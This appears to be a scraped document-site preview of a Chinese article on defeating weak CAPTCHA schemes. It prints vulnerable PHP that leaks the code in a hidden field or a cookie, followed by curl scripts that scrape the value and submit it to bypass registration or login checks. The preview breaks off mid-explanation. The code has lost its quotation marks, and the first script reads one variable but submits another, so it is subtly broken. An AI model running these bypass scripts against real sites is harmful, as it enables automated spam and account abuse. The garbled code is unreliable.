文档详情

个人电脑技巧随笔(三).doc

发布:2017-11-19约5.16万字共42页下载文档
文本预览下载声明
像黑客破解验证码机制One True Flame Denis Nebston 所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息。   输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了验证码技术。   很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。   验证码在网页中的例子: CODE: <? /* * Filename: authpage.php * Author: hutuworm * Date: 2003-04-28 * @Copyleft */ srand((double)microtime()*1000000); //验证用户输入是否和验证码一致 if(isset($HTTP_POST_VARS[authinput])) { if(strcmp($HTTP_POST_VARS[authnum],$HTTP_POST_VARS [authinput])==0) echo 验证成功!; else echo 验证失败!; } //生成新的四位整数验证码 while(($authnum=rand()%10000)<1000); ?> <form action=authpage.php method=post> <table> 请输入验证码:<input type=text name=authinput style=width: 80px><br> <input type=submit name=验证 value=提交验证码> <input type=hidden name=authnum value=<? echo $authnum; ?>> <img src=authimg.php?authnum=<? echo $authnum; ?>> </table> ; </form> [Copy to clipboard] 以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制。 CODE: #!/bin/sh curl [url]/authpage.php[/url] authinput=`grep <input type=hidden name=authnum value=[[:digit:]] \{4\}> grep.txt | sed -e s/[^0-9]//g` #得到网页中的 authnum curl [url]/authpage.php[/url] -d name=hacker -d submit=验证 -d authnum=$authnum [Copy to clipboard] CODE: session_register(authnum); $authnum = strval(rand(1111,9999)); setcookie(authnum,$authnum); ... <input type=text name=authnum maxlength=4><img src=get_code.php> ... if($number != $login_check_number || empty($number)) { print(校验码不正确!); die(); } [Copy to clipboard] 第二种要比上一种聪明一点,把验证码值存放在用户Cookies中。可是由于Cookies是用户可读可写,所以也极易被突破。 CODE: #!/bin/sh $username=hacker $password=hackme curl [url]/index.php[/url] -c common_cookie # 接受服务器的初始cookies curl [url]/get_code.php[/url] -c $username. cook -b common_cookie # 得到验证码,从cookies中 authnum=`grep authnum $username.cook | cut -f7` curl [url]/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 [Copy to clipboard]   更高级的验证码。   cookies中的验证码登陆 ????? 有一类验证码比以上两种验证码要高级一些,它使用如下算法:   1、服务器生成一个随机hash。   2、使用某个算法
显示全部
相似文档